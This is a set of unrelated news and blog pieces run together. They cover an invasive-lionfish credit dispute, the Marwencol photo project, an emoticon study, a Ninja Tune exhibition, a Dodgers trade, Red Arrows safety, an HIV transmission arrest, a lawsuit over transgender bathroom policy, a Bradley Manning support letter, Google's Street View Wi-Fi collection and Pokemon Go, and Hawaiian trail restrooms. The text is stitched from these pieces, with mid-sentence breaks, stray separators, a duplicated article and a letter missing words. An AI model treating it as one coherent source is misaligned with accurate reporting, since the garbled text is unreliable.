Over the years, research regarding the invasive lionfish has been taking place, and in June 2014, Palm Beach resident, Lauren Arrington, is in the spotlight. Arrington presented a science fair project based on Dr. Zack Jud's previously published discovery of lionfish living in low-salinity estuarine habitats. Her story has been picked up nationally by CBS, NPR, CORAL magazine, and several educational websites, and has received almost 90,000 likes on Facebook, yet Jud's years of groundbreaking work on estuarine lionfish are being completely and intentionally ignored.
Several sources seem to immediately discredit Arrington's claim:
† D. Albrey Arrington, the father of Lauren Arrington, appears as an author on this paper released June 2011. He had absolutely nothing to do with the research however, he was clearly aware that lionfish were |
ball scenes from World War II staged with action figures are actually one man's attempt to rebuild his life.
These images come from the mind of Mark Hogancamp, who was beaten and repeatedly kicked in the head by five men outside a bar in Kingston, New York eleven years ago. The attack was so brutal that afterwards his mother Edda did not recognize him. When Hogancamp emerged from a 9-day coma, he had no language, he could not walk and he could not eat without assistance.
For twelve months, the ex-Navy man received state-sponsored physical and occupational therapy and regained many of his motor skills. Without medical insurance, however, Hogancamp was soon unable to afford the treatments. Lacking conventional rehabilitation, Hogancamp devised his own, unknowingly embarking on an art project that would be featured in high-profile exhibits and make him the subject of a hit indie documentary.
As a way to cope with his new life after the attack, Hogancamp built a Nazi-besieged, World War II era town in his backyard at 1/6 scale and resurrected his childhood love for action figures. He populated the model town with miniature alter egos of him and his friends. Each one is a personality in his anachronistic narratives, which he tells through staged photographs that read like frames in a comic book.
The town Hogancamp has created is called Marwencol. The name is a combination of three names of real people: Mark (Hogancamp), Wendy, and Colleen (two of his crushes).
In Marwencol, Hogancamp's avatar, Hogie, is assassinated and brought back to life by the town witch. He is tortured by the S.S. and then rescued at the last minute by three gun-toting women. Hogie is saved in a way Hogancamp could not be in real life. In place of real-world counselors and therapists, Hogancamp has created hundreds of imaginary ones.
"There was one rule in my town," says Hogancamp, "That [people] be friends, be friendly with each other, behave. So they did, they were."
The initial cordiality between Nazi and Allied Forces soon gave way to kidnappings and gun fights. For more than a decade, 1/6 scale dolls have played out existential and therapeutic stories of love and war, friendship and enmity, heroism and cowardice, and desire and restraint. In some cases, the stories of Marwencol mirror reality, sometimes they're purely fantasy; usually they blur the two.
There are giant holes in Hogancamp's memory from before the attack – the entirety of his Naval service, for example. In his past life, he was an alcoholic, sporadically homeless and an amateur artist. Due to the brain damage he suffered, he can no longer draw and the Marwencol project partially scratches his artistic itch. At one point during his rehabilitation, Hogancamp even had to rediscover that he enjoys wearing women's clothing and that this was the reason his attackers beat him.
What began as private rehabilitation has become more and more public over the years. In 2005, Esopus Magazine published Hogancamp's photographs for the first time after he was discovered by a local photographer. A copy fell into the hands of filmmaker Jeff Malmberg who, coincidentally, was already thinking about themes of reinvention and scouting for a story to test his ability as a director.
In a documentary released last year and out this week on DVD, entitled Marwencol, Malmberg takes audiences inside Hogancamp's fictional city, his real life and his struggle with public recognition after his photographs started appearing in New York galleries.
"I thought it would be a weekend shoot, but it ended up being a four-year shoot," said Malmberg in an interview at the Karlovy Vary International Film Festival last year.
Marwencol is now available on DVD and Blu-Ray and will be broadcast on PBS' Independent Lens April 26th.
Meanwhile, the town of Marwencol continues to grow. Earlier this year, Mark added a tank and headquarters for the S.S.
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In 2006, Hogancamp's photographs were exhibited at White Columns Gallery in New York and they've also appeared in Intimacies of Distant War, a 2008 group exhibition at the Samuel Dorsky Museum of Art in New Paltz, NY.
Marwencol won the plaudits of both critics and audiences on the independent film circuit during 2010. It was named Best Documentary of the Year by Rotten Tomatoes and the Boston Society of Film Critics.
More on Marwencol around the web:
New York Times - "In a Tiny Universe, Room to Heal" - by Penelope Green
Wall Street Journal - "Illustrator's War Games Prove Restorative" - by Steve Dollar
Psychology Today - "Not Child's Play" - by Ethan Gilsdorf
Denver Post - "This Doc(umentary) Has Healing Powers" - by Lisa Kennedy
Photo Credit: All photos and captions (except the final two images) by Mark E. Hogancamp, courtesy the Cinema Guild.When meeting someone in person, body language experts say that smiling can portray confidence and warmth. Online, however, smiley faces could be doing some serious damage to your career.
In a new study published in the journal Social Psychological and Personality Science, researchers found that using smiley faces makes you look incompetent.
The study, written by Ella Glikson, Arik Cheshin and Gerben A. van Kleef says, "contrary to actual smiles, smileys do not increase perceptions of warmth and actually decrease perceptions of competence."
This can have devastating consequences for your career. The report explains, "Perceptions of low competence, in turn, undermined information sharing."
Chances are, if you are including a smiley face in an email, the last thing you want is for your co-workers to think that you are so inadequate that they chose not to share information with you.Continuing on from my last post, I visited the Ninja Tune – 20 Years of Beats & Pieces exhibition at Black Dog Publishing in King’s Cross, London. It is running from 20th August to 16th September (open 12-5pm Monday to Friday). Artists signed to the label include Amon Tobin, Mr. Scruff and Coldcut.
The exhibition highlighted original artwork, gold discs for various artists, memorabilia, 3-D models, discs, posters and the Roots Manuva plaster cast head from the album. What I particularly liked was that one of the rooms was a recreation of the Ninja Tune HQ meeting room, featuring original posters and the cabinet featured on the cover of Well Deep: Ten Years of Big Dada Records.
What they could have done better:
– There were very few photos of the musicians who belonged to Ninja Tune records. They could have displayed artist profiles and discographies.
– Crucially, there was no music. This is an exhibition focusing on a 20 year period of a record label. They should have had examples of bands playing in the background.
– The opening hours were office hours. When I first visited, it was on a Saturday and was closed. I then went back at 11am and waited for an hour as it opened at 12pm. They could have made the exhibition run for less time (say 2 weeks), opened for longer in the week and opened on Saturday.
Black Dog Space is also opening a one day pop-up shop on Saturday 11th September which I will be trying to get along to.
51.558420 -0.137821
AdvertisementsThe Dodgers have an apparently endless supply of cash, and are using it to run the largest payroll in baseball this year, so naturally, any time a prominent and expensive player is rumored to be trade bait, LA is one of the first teams mentioned. They’ve been linked to Cole Hamels all year. More recently, they’ve been tied to David Price. They needed pitching, they had the money to afford those guys, and so the fit seemed to make sense.
But we should perhaps note that, since Andrew Friedman took over the reigns of the Dodgers baseball operations department, that’s not really how the Dodgers have used their resources. They haven’t been at all shy about throwing money around, but they haven’t yet shown any willingness to spend big money on Major League veterans. Despite a roster that they wanted to completely turnover, they only signed two prominent MLB free agents over the winter, and both Brandon McCarthy and Brett Anderson were more mid-level value plays than the buy-stars-with-cash approach.
When they needed a catcher, they traded for Yasmani Grandal, who they saw as an undervalued player they could acquire at a good price, and managed to dump a lot of Matt Kemp’s overpriced contract in the deal. They wanted a new middle infield, but targeted production-over-flash with Howie Kendrick and Jimmy Rollins, solid role players on short-term commitments who could provide value while waiting for the team’s up-and-coming prospects to develop. They needed better relievers to get them to Kenley Jansen, so they traded for Juan Nicasio and Chris Hatcher, then went with a bunch of youngsters after guys like Yimi Garcia dominated spring training. The Dodgers have had plenty of opportunities to use their ample payroll to acquire marquis players, and at every chance, they’ve gone another direction.
So perhaps we shouldn’t be surprised that, when it came time to replace McCarthy and Hyun-Jin Ryu in the rotation, they looked for alternatives to the go-get-the-most-expensive-guy plan. That isn’t to say that they won’t still end up with Price– we’d be fools to ever assume the Dodgers are done working on things, given the number of moves they’ve made in the last year — or some other big name player before Friday’s deadline, but today’s move is probably the most Dodgers transaction we’ve seen since Friedman and Farhan Zaidi were given unlimited funds and told to do what they do best.
The deal, as we understand it at this point.
Dodgers Acquire:
LHP Alex Wood
RHP Mat Latos
RHP Jim Johnson
LHP Luis Avilan
2B/OF Jose Peraza
1B Michael Morse
Braves Acquire:
2B/3B Hector Olivera
LHP Paco Rodriguez
RHP Zach Bird
Competitive Balance Pick (#35 overall, currently)
Marlins Acquire:
RHP Jeff Brigham
RHP Victor Araujo
RHP Kevin Guzman
Corporate Profits
The Dodgers, of course, just signed Hector Olivera to a $62.5 million contract a few months ago — because international spending has been a primary area where the team has invested their financial resources — but then saw his role on the team clouded when Justin Turner decided to just keep hitting. So, rather than simply let a valuable asset hang around as depth, the Dodgers are using Olivera to upgrade their pitching staff.
Jeff wrote up the reasons for optimism surrounding Mat Latos this morning, back when this looked like a pretty bland two team deal, but the prize here is clearly Alex Wood, who isn’t at the level of Hamels or Price but also isn’t quite as far behind as you might think. Here are the the numbers for those three pitchers since 2013, the first year of Wood’s big league career.
Name IP BB% K% GB% HR/FB LOB% BABIP ERA- FIP- xFIP- David Price 581 4% 24% 42% 9% 73% 0.300 82 76 79 Alex Wood 368 7% 22% 47% 8% 77% 0.316 84 85 92 Cole Hamels 553 7% 24% 45% 9% 76% 0.295 86 83 88
Price is on another level — his ERA is only close to the other two because of a low strand rate, but that’s a short-term fluctuation, as his career results line up with his excellent peripherals — but Wood’s numbers aren’t that different than Hamels, albeit in about 60% of the innings. Certainly, he doesn’t have the track record of either of the two multiple-time All-Stars, and his combination of a painful-looking delivery, a decrease in velocity, and a drop in strikeout rate make him a significantly more risky asset than the established stars, but clearly, the upside for him to pitch at a high level is there. He’s done it for roughly the equivalent of two full seasons, after all.
Going for Wood instead of Hamels or Price is somewhat similar to going for McCarthy instead of Max Scherzer or Jon Lester, with the Dodgers betting they can get 85-90% of the performance for 25% of the cost, and taking on some health risk in the process. Wood has already had Tommy John surgery once, missed some time with forearm tightness last year, and if you haven’t seen him throw before, check these GIFs out, and you’ll quickly see why a lot of people think he’s not going to be able to do this forever. That delivery could be charitably described as funky, and while predicting future injuries isn’t a secret anyone has yet solved, he certainly seems to check a lot of boxes for a guy who might be a short-peak pitcher, not entirely unlike Tim Lincecum.
So while Wood is still just 24 and under team control for four more seasons, he’s probably more of a short-term asset than is typical of a player his age. Perhaps the mechanical concerns are overblown, and maybe the strikeout rate and velocity declines aren’t signs of a lingering health issue; if all those things are true, Wood could very well still be one of the best pitchers in baseball in a few years. But there’s enough risk here to think that you’re acquiring Wood for about what he can do for you for the next year or two, and anything beyond that is probably gravy.
But Wood also doesn’t cost $25 million per year; he’ll make something close to the league minimum in 2016, and then go through arbitration three times, where his low-ish career innings totals should keep his prices reasonable, and of course, if he blows up along the way, those final years of control aren’t guaranteed. If he only lasts a few years before his elbow explodes, then the financial cost to the Dodgers will be minimal; he’s only going to cost real money if he turns into a long-term asset.
Of course, the Dodgers are paying for Wood, just in a roundabout way. $28 million of the $62 million they agreed to pay Olivera was in the form of a signing bonus, and now that he’ll never suit up for them, that money could instead be seen as a down payment on Wood’s future performance. But this whole transaction is a little more complicated than that, since there are a lot of pieces trading places, and assigning the cost of Olivera’s bonus to just one piece of the deal isn’t so straight forward.
After all, the Dodgers are getting back a solid prospect in Jose Peraza, a guy who ranked #44 on Kiley McDaniels pre-season Top 200. After a mediocre season in Triple-A (though is still just 21), he’ll likely rate lower on next year’s batch of lists, but he’s still a valuable asset. I wouldn’t be surprised if he got flipped in another trade before the deadline, or later this winter, as the Dodgers still have a surplus of middle infield prospects, but even if the Dodgers aren’t planning on Peraza as their long-term second baseman, he clearly has value to them and the rest of the league.
Between taking on the rest of Morse’s salary and essentially eating Olivera’s signing bonus, the Dodgers are using roughly $40 million to acquire Wood, Latos, Peraza, and Jim Johnson; the prospects they’re sending away are of minimal consequence, and Paco Rodriguez is out for the year following elbow surgery. To get back two solid major league starters, a quality reliever, and a legitimate prospect in exchange for essentially agreeing to pay Olivera’s signing bonus for the Braves and take on the money left on Morse’s deal is a remarkable bargain for Los Angeles.
Wood alone may very well produce $40 million in value above his salary over his team controlled years. Peraza is from the class of prospects that has been the centerpiece in deals for the best rentals traded so far, so even if they flip him, he’ll bring back something pretty shiny himself. And Latos and Johnson are solid depth pieces for a win-now team, and the Dodgers are getting them for something close to free.
Even after this trade, there’s still plenty of speculation that the Dodgers will make a run at David Price, and perhaps Wood or Peraza will be heading to Detroit in the next 36 hours. But at some point, maybe we’re all going to realize that big named MLB players haven’t really been Friedman and Zaidi’s thing. When they’ve spent money, it’s been to sign long-term assets internationally, or to buy draft picks or prospects from other organizations that don’t have the Dodgers cashflows. Wood and Latos fit in as perfectly reasonable #3 and #4 starters behind Kershaw and Greinke, so while David Price would absolutely make them better, they’ve essentially just filled out their rotation using the same plan they used last winter; bet on talent instead of health while looking for value instead of paying the retail price.
Of course, the Dodgers might not stop here just because they don’t need another starting pitcher; they didn’t need Hector Olivera when they outbid the Braves for him a few months ago either. Alex Wood is likely the kind of 2016 asset that the Tigers would love to land in a Price trade, though the Tigers would have to give up more than just Price to get Wood, in all likelihood; it’s not too hard to squint and see a deal for both Price and Yoenis Cespedes that also has the Tigers taking on some of the remaining Andre Ethier or Carl Crawford money as an incentive for the Dodgers to ship Wood north.
But for now, that’s all just speculation. While this deal isn’t final, and last night’s Carlos Gomez non-trade is a reminder that even fully-leaked deals aren’t done until they’re announced, the Dodgers have apparently gone a long way towards filling out their pitching staff, and doing it without really touching the young base of talent they have in their organization. It’s making deals like this, rather than simply unloading the farm system for expensive stars, that are why the Dodgers are going to be really good for a really long time.A Red Arrows training session had to be stopped for safety reasons after photographers stood on the runway directly underneath the display team's flight path.
The aerobatic team has warned people not to take "unnecessary risks" after last Friday's session at RAF Scampton in Lincolnshire was ordered to be halted on the advice of air traffic control.
Important notice regarding visits to RAF Scampton. Please read it & act in the interests of everybody's safety
A message on their Facebook page said people were standing on the runway, endangering themselves and others.
It said: "We are very honoured that so many people enjoy coming to RAF Scampton to watch the Red Arrows train and we do truly enjoy seeing the photographs that are taken every day.
"But it has come to the point where people are taking unnecessary risks to get those photographs.
"On Friday, air traffic control had to stop our pilots performing circuits as there were people on the centreline of each runway, directly under the flight paths of the aircraft taking off and landing.
"By doing so, people are endangering themselves and others and ATC had no choice but to stop us, thereby curtailing crucial training for our pilots."
• Shoreham Air Show plane crash: Pilot was too low, official report revealsA Coralville man who was previously convicted of transmitting HIV now faces 25 years in prison for knowingly spreading HIV to his sexual partner.According to a criminal complaint obtained by the Cedar Rapids Gazette, 34-year-old Adam Musser engaged in sexual activity with a woman in June and July. According to police, Musser told the victim he did not need to use protection because he does not have a disease.But police say Musser knew he was infected.The Gazette reports that Musser was arrested Sunday and is facing one count of criminal transmission of an infectious disease to another person, a Class B felony. He faces up to 25 years in prison if convicted.Musser was previously convicted of four counts of criminal transmission of HIV in 2004 and was sentenced to 50 years in prison. Records say Musser was released from prison in October 2012 but did not go into details on his release.Online arrest records say he was booked in the Johnson County Jail on Sunday. His bail is set at $82,500 for the criminal transmission charge and a parole violation charge.
A Coralville man who was previously convicted of transmitting HIV now faces 25 years in prison for knowingly spreading HIV to his sexual partner.
According to a criminal complaint obtained by the Cedar Rapids Gazette, 34-year-old Adam Musser engaged in sexual activity with a woman in June and July. According to police, Musser told the victim he did not need to use protection because he does not have a disease.
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But police say Musser knew he was infected.
The Gazette reports that Musser was arrested Sunday and is facing one count of criminal transmission of an infectious disease to another person, a Class B felony. He faces up to 25 years in prison if convicted.
Musser was previously convicted of four counts of criminal transmission of HIV in 2004 and was sentenced to 50 years in prison. Records say Musser was released from prison in October 2012 but did not go into details on his release.
Online arrest records say he was booked in the Johnson County Jail on Sunday. His bail is set at $82,500 for the criminal transmission charge and a parole violation charge.
AlertMe(Reuters) - Officials from 11 U.S. states sued the Obama administration on Wednesday to overturn a directive telling schools to let transgender students use bathrooms matching their gender identity, decrying the policy as “a massive social experiment.”
Ramping up the simmering battles over contentious cultural issues in America, the states, led by Texas and most with Republican governors, accused the federal government of rewriting laws by “administrative fiat.”
“We are willing to fight this all the way to the Supreme Court if we have to,” Republican Texas Attorney General Ken Paxton told reporters in Austin.
Amid a national debate on transgender rights, President Barack Obama’s administration on May 13 told U.S. public schools that transgender students must be allowed to use the bathroom of their choice, upsetting Republicans and paving the way for fights over federal funding and legal authority.
The states’ lawsuit accused the federal government of overstepping its constitutional powers by taking actions that should be left to Congress or individual states. It also challenged the Obama administration’s interpretation of federal civil rights law with regard to sex and gender.
The lawsuit said the administration “conspired to turn workplace and educational settings across the country into laboratories for a massive social experiment, flouting the democratic process, and running roughshod over commonsense policies protecting children and basic privacy rights.”
Texas was joined by Alabama, Georgia, Louisiana, Oklahoma, Tennessee, Utah, West Virginia and Wisconsin, plus Arizona’s Department of Education and Maine’s governor.
Paxton said, “It’s about parents who are upset, grandparents who are upset. They want to see that the safety of their children is taken care of.”
Transgender rights advocates argued it is transgender people who need protection, particularly transgender women who are disproportionately the victims of assaults and would be forced to use men’s bathrooms if states succeed in forcing people to use bathrooms matching their sex at birth.
Likewise, transgender men, many of whom grow facial hair, would be required to use women’s bathrooms along with girls.
“This action puts students at risk for the sake of politics,” said Alison Gill of the Trans United Fund advocacy group supporting transgender rights.
Gill said the states’ lawsuit did not reflect the position of most school boards and administrators.
The administration’s letter to the schools said that to get federal funding under existing rules, schools must agree not to treat students or activities differently on the basis of sex. That includes not treating transgender students differently from others of the same gender identity, officials said.
‘UNPRECEDENTED ATTACK’
Paul Castillo, a lawyer with Lambda Legal, which supports lesbian, gay, bisexual and transgender (LGBT) rights, said the lawsuit represented an “unprecedented attack against transgender people across the United States.”
“These states are demonstrating the great lengths they will go to in order to discriminate against transgender individuals,” Castillo said.
Nine of the 11 states that sued have Republican governors, including Maine’s Paul LePage. LePage broke with the Democratic attorney general, Janet Mills, who did not approve of the lawsuit, a spokesman for Mills said.
School districts from Texas and Arizona also joined the suit, which names the U.S. government and a host of federal agencies and officials as defendants.
North Carolina sued the federal government on the transgender bathroom issue this month, seeking to protect its state law passed in March that bans people from using public restrooms not corresponding to their sex assigned at birth.
Ever since the 1960s civil rights movement, the federal government has asserted its authority to force states to extend equal protection under the law for all. The administration sued North Carolina on May 9, stating that its transgender bathroom law violated the U.S. 1964 Civil Rights Act.
The 11 states’ lawsuit accused the administration of taking that argument too far and improperly, widening the scope of interpretation of civil rights law.
Title IX of the Education Amendments of 1972 prohibits discrimination on the basis of sex in federally funded education programs and activities. The administration’s interpretation is that the word “sex” extends protection to transgender people, but the issue has not been settled in the courts.
“I agree with the Obama administration that ‘sex’ includes ‘gender,’ and ‘gender’ includes ‘gender identity,’” said John Pagan of the University of Richmond’s School of Law in Virginia.
A sign protesting a recent North Carolina law restricting transgender bathroom access is seen in the bathroom stalls at the 21C Museum Hotel in Durham, North Carolina May 3, 2016. REUTERS/Jonathan Drake
Peter Lake of Stetson University College of Law in Florida said the U.S. Supreme Court has taken a narrow view of the meaning of “sex” under the law, but in recent years lower courts have been more likely to defer to the Obama administration’s broader definition.
“My sense is a certain momentum is building for broader protection of (LGBT) rights, and we might be seeing a moment of federal civil rights law in long-term transition,” Lake said.
The White House did not immediately respond to a request for comment.Accused WikiLeaks whistleblower and Nobel Peace Prize nominee Bradley Manning willGovernment conduct, apparently aimed at discouraging whistleblowers,Bradley was held in pre-trial solitary confinement for 11 months, in conditions condemned by the UN Rapporteur on Torture as “cruel, inhuman and degrading,” including being stripped and made to stand naked at roll call. This was a clear violation of the US military’s Uniform Code of Military Justice (UCMJ: Article 13).Both President Obama and Chairman of the Joint Chiefs of Staff General Dempsey have declared publicly, prior to trial, that Bradley “broke the law."(UCMJ: Article 37)Article 10 of the UCMJ promises defendants a speedy trial.The prosecution haswhich the defense believes will show that Bradley's alleged actions have not damaged US national security. And there is clear evidence that the leaks were motivated entirely by conscience., and that he should be convicted of 'Aiding the Enemy' and sentenced to life in prison, regardless of any moral motive, lack of harm, or overwhelmingly positive results of the disclosures.The information released has helped inform public understanding of the realities of the War on Terror, and revealed governmental and corporate corruption and collusion. It has contributed to the ending of the Iraq War and to positive people-power movements such as the Tunisian Revolution and the Occupy Movement. Tens of thousands of regular citizens worldwide have supported Bradley and funded his legal defense (See: www.bradleymanning.org).
Sincerely,
Daniel Ellsberg, Pentagon Papers whistleblower
Center for Constitutional Rights
Bradley Manning Support NetworkW ithin two weeks of its release last month, Pokemon Go, the augmented reality gaming sensation, surpassed, by one estimate, Twitter, Facebook, and Netflix in its day-to-day popularity on Android phones. Over on Apple devices, the game was downloaded more times in its first week than any app that came before it.
The suddenly vast scale of Pokemon Go adoption is matched by the game’s aggressive use of personal information. Unlike, say, Twitter, Facebook, or Netflix, the app requires uninterrupted use of your location and camera — a “trove of sensitive user data,” as one privacy watchdog put it in a concerned letter to federal regulators.
All the more alarming, then, that Pokemon Go is run by a man whose team literally drove one of the greatest privacy debacles of the internet era, in which Google vehicles, in the course of photographing neighborhoods for the Street View feature of the company’s online maps, secretly copied digital traffic from home networks, scooping up passwords, email messages, medical records, financial information, and audio and video files.
Before Niantic Labs CEO John Hanke was the man behind an unfathomably popular smartphone goldmine, he ran Google’s Geo division, responsible for nearly everything locational at a time when the search company was turning into much more, expanding away from cataloging the web and towards cataloging every city block on the planet. Hanke landed at Google after his wildly popular (and admittedly very neat) CIA-funded company Keyhole, which collected geographic imagery, was acquired in 2004 and relaunched as Google Earth in 2005. By 2007, Hanke was running basically everything at Google that involved a map. In a 2007 Wired profile, (“Google Maps Is Changing the Way We See the World”) Hanke was lauded as a pioneer (“Led by John Hanke, Google Earth and Google Maps are delivering cartography tools to the masses”) and deified, appearing in photo with an enormous globe across his shoulders.
It was an exciting time for Google. Google Maps had become indispensable, dumping the likes of MapQuest into obsolescence, and Google had great ambitions for turning surroundings into revenue. But before Google could sell the world back to its inhabitants, it needed to digitize it; around the world, fleets of sensor-laden Google cars roamed cities, back roads, and highways, snapping photos of buildings, posts, trees, and other features. Each vehicle was labeled a Street View Car by Google, a reference to the Street View feature their pictures enabled on Google Maps. Google shared Street View imagery widely via an application programming interface, or API, and among the apps that owe a debt of gratitude to Street View Cars is Pokemon Go.
Then, in April 2010, Germany’s data protection commissioner announced that Google vehicles had been illegally collecting Wi-Fi data. Further regulatory scrutiny and corroborating news reports eked out the truth: As they drove, Street View Cars were swallowing up traffic from unencrypted wireless networks. Germany’s federal privacy czar, Peter Schaar, said he was “horrified” and “appalled.”
It eventually emerged that, in the U.S. alone, this collection went on for more than two years. The scandal, referred to as the “Wi-Spy” case as it was unfolding, resulted in:
Findings that Wi-Fi traffic collection was illegal by authorities in the United Kingdom, France, Canada, South Korea, and New Zealand.
A bruising Federal Communications Commission investigation, which followed a director’s comment that Google’s activity “clearly infringes on consumer privacy” and which resulted in a $25,000 fine.
A Department of Justice wiretapping investigation.
A federal class-action case against Google, ongoing to this day, in which a district and appeals court have both ruled, against the company’s arguments, that the sort of data Google accessed is protected from interception under the U.S. Wiretap Act. (The Supreme Court has declined to hear Google’s appeal.)
Lawsuits brought by authorities in Spain.
Regulator intervention in Italy and Hungary.
And a government investigation in Germany.
(The Electronic Privacy Information Center, an advocacy group and vocal critic of Google’s during the Street View scandal, has a good overview of these actions.)
Hanke, through a spokesperson, denied any knowledge of the Wi-Fi collection at the time it was happening, pinning blame on Google’s mobile division. But a unit within his division, not mobile, was the focus of the largest investigation into the matter by U.S. regulators, and it was his division whose vehicles did the actual collection. The way Wi-Fi traffic was intercepted under Hanke’s nose should alarm people who use, or whose children use, Pokemon Go.
G oogle itself tried to escape responsibility as the scandal unfolded, dismissing concerns, rebuffing investigators, and evincing the sort of hubris and arrogance for which the engineer-dominated company has been repeatedly criticized.
In a blog post published at the very beginning of the scandal, Google denied any wrongdoing, saying it had copied no traffic from inside Wi-Fi networks, but rather gleaned “information that identifies the network and how that network operates,” like the name of your router, which you assume to be public anyway.
This narrative was short lived: Two weeks later, as international scrutiny increased, Google shifted from outright denial to scapegoat tactics, admitting it had copied traffic, but only “mistakenly” and mostly in “fragments.” Google attempted, amazingly, to divert blame from the cars operating on behalf of Hanke’s operation onto one single unnamed rogue “engineer working on an experimental WiFi project.”
A vice president from Hanke’s Geo division two months later acknowledged in a blog post that “serious mistakes were made in the collection of WiFi payload data, and we have worked to quickly rectify them … the WiFi data collection equipment has been removed from our cars.” But Google continued to call the traffic collection a mistake.
Then, three months after that, yet another official post repeated that the collection was “mistaken” but only specifically acknowledged collecting emails, URLs, and passwords.
Only after repeated and increasingly vociferous inquiries from the FCC, which was frustrated that Google had “deliberately impeded and delayed” its investigation, did the company reveal the truth, which was summarized in blunt 2012 commission report. Far from acting on his own, the supposedly rogue “Engineer Doe” (as the report referred to him) had collaborated on and discussed openly his “piece of code” with several other Google engineers, including superiors.
In fact, he’d tried to warn his colleagues, sending his software code and a design document to the leaders of the Street View project, who in turn forwarded it to the entire Street View team. “The design document,” the FCC wrote, “identified ‘Privacy Considerations’ and recommended review by counsel, but that never occurred.”
This design overview stated quite plainly that “a typical concern [with the project] might be that we are logging user traffic with sufficient data to precisely triangulate their position at a given time, along with information about what they were doing.”
Warnings don’t come clearer than that.
The FCC report went on to show that while planning the Wi-Fi collection project, on “at least two” occasions, “Engineer Doe specifically informed colleagues that Street View cars were collecting payload data,” and even shared portions of the collected personal traffic. In a 2008 email, one of these colleagues, “a senior manager of the Street View project,” called Engineer Doe’s analysis of 300 million Wi-Fi traffic packets containing 32,000 web addresses “interesting” and asked, “Are you saying that these are URLs that you sniffed out of Wifi packets that we recorded while driving?” The engineer’s reply confirmed this to be the case: “The data was collected during daytime when most traffic is at work (and likely encrypted). … I don’t think the numbers are high enpugh [sic] for a good sample.”
Data turned over to European regulators and reviewed by the FCC further showed that essentially all types of computer data were collected, including information related to online dating and sexual preferences.
In the end, the unencrypted internet habits of possibly hundreds of thousands of people were secretly scraped up and stored while the cars were carrying out their publicly stated mission of collecting the locations of wireless networks. Google’s cars weren’t just sniffing out the names of wireless routers, but also sucking down all of the unprotected information being sent to and from those routers as the vehicles drove by, including visited websites, search queries, and emails. Of course, even a brief sample of a person’s internet traffic can reveal a great deal that they would prefer remain between them and the computer.
Photo: Sean Gallup/Getty Images
A ll of this happened while John Hanke led the Geo division, including Street View and Maps, as vice president for product management. Google eventually imposed a set of privacy reforms, but it’s unclear, even before those changes, why no one intervened when engineers spoke openly about collecting the internet traffic of strangers. It may have had to do with the culture inside Google; in a 2009 interview with The Times of London, a year before the scandal began, Hanke said:
“As a company we may not make 100% of everybody happy in all situations but I don’t think you can live your life as an individual or as a company not wanting to step on anybody’s toes. We have to chart a course between the benefit that can come from something and adhering to social mores and the law.”
Soon after the FCC published its findings, the New York Times identified “Engineer Doe” as Marius Milner, a security researcher and well-known figure in the hacker community. Milner at the time declined to elaborate on his role in the data fiasco, saying only that Google’s claim that he acted alone “requires putting a lot of dots together.” Milner confirmed to The Intercept that he still works at Google, meaning the rogue engineer outlasted John Hanke by four years, but said he “never met him.”
Milner, as it happens, does have his own link to Pokemon Go: He and Hanke co-authored with three others a patent held by Niantic on a “System and Method for Transporting Virtual Objects in a Parallel Reality Game.” Milner told me that the patent stemmed from “hatching some ideas with a personal friend that was one of the other co-authors” and that he never discussed the patent with Hanke. It’s worth noting that Google filed the patent in 2012, two years after the company scapegoated Milner as a supposedly lone, rogue engineer. It was granted by the U.S. Patent and Trademark Office in 2015, when it was assigned to Niantic, then a little-known augmented reality startup.
Hanke had begun Niantic inside Google in 2010 as an autonomous business unit, according to news reports, before the unit was spun off late last year to free Niantic up to work with a wider variety of partners. Google and |
restroom, the question isn’t going to go away.
Gordon Leslie, for one, will see to that.
Leslie and other locals have been upset about the lack of facilities for years. They’ve tried to prod government into action, with little result. It’s not clear if the county controls the trail, or whether the pathway falls to the state’s kuleana. Meanwhile, the excrement remains behind trees and stone walls, heiau and grave sites.
“Why can’t we get any of our government agencies to realize how bad this is and do something about it?” asks Leslie, chairman of Hoala Kealakekua, a local stewardship group. He is the point man for conversations between the group and state and county officials.
Leslie would like to see the trail completely closed until toilets are installed at the bottom, the midway point on the hike. For years, he has been leaning on local and state politicians to put this kapu in place.
“Kaawaloa is perhaps one of the most sacred pieces of real estate in all of Hawaii,” he says. “It was a center for the highest Alii of the time. Today, so many people go down there. You can have 60 cars parked at the trailhead. There’s tons of evidence of defecation all over the land.”
The state is finalizing a master plan whose end goal is to transform an essentially sleepy bay front into a significantly upgraded area with new parking lots and trails, restrooms, canoe rides and other possible amenities. At a minimum, Kaawaloa would receive restrooms, and interpretive trails, under the plan, whose environmental impacts have yet to be studied.
It’s hard to know the particulars about restrooms until the plan is finalized, says state parks administrator Curt Cottrell. The department has considered several options for providing relief for hikers, including composting toilets and flying waste out.
The situation is complicated by the fact that vehicles and shore landings of vessels are prohibited in the area, Cottrell says. The state could also subsidize portable facilities on county property at the trailhead if the county requested it.
Meantime, the situation at Kaawaloa improved somewhat when individual kayak landings were prohibited, Cottrell says. Between that and cleanups by State Parks and the three kayak companies allowed to bring guests across, there have been fewer reports of problems with defecation, he says.
But a broad vision for the bay has been slow to unfold, and planning efforts have sputtered along, starting then folding again while residents worried about over development.
Hoala Kealakekua was formed last year to clean up around the sites and press decision-makers to put toilets at Kaawaloa on the front burner, rather than the back burner where plans to improve the bay languished for three decades.
Ultimately, the group would like to serve as advisors in the park’s development, working to ensure that the history and culture of the region is respected, that concessions are operated by and for the benefit of local residents and that the area does not become another theme park.
But it’s been hard to break the paralysis. Leslie, who is linked to the bay through a web of blood ties that go back generations, was excited a couple of years ago because he thought he had talked then-Mayor Billy Kenoi into hiking the trail and seeing conditions for himself. That walkabout never came to be.
“I’m still trying to get everyone on the same page,” he says.
On Kaawaloa Trail, you’ll hear multiple languages spoken on any given hike. Explorers in various states of preparation chug along the rocky byway cut through elephant grass and brush.
Some swoop along with grim determination, slathered in sunscreen, water bottles swinging, tackling the slope like it’s the first event in a new kind of endurance sport. Others putter along in flip-flops, skin exposed, with no water in sight.
Still others sit, parched and trying to regain strength for a climb that’s a lot steeper and hotter than they bargained for.
New arrivals are often puzzled by the lack of hiking opportunities, given that the island is billed as a rugged outdoor destination. To these folks, there has to be a better solution than closing the Kaawaloa Trail.
“It’s so beautiful here. We need more marked trails with real facilities,” hiker Abby Frederiksen says. “I’ve lived here six months and they’ve been really hard to find.”
Triathlete Howie Nordstrom pauses in his training on Kaawaloa to level the charge that closing the trail would play into the same dysfunction that marks the way the state handles other problems on its trails and popular spots.
“So you close it off. How you gonna police that?” he asks. “Better to put the effort into a solution rather than cutting people off. People want to do this trail, no matter if you close it down. Make it a positive experience rather than a kapu experience.”
“Set up an old-style outhouse where you collect waste. Have someone come from the other side on a boat. That’s what we do all the time in Sweden at remote locations. It’s no big deal.”
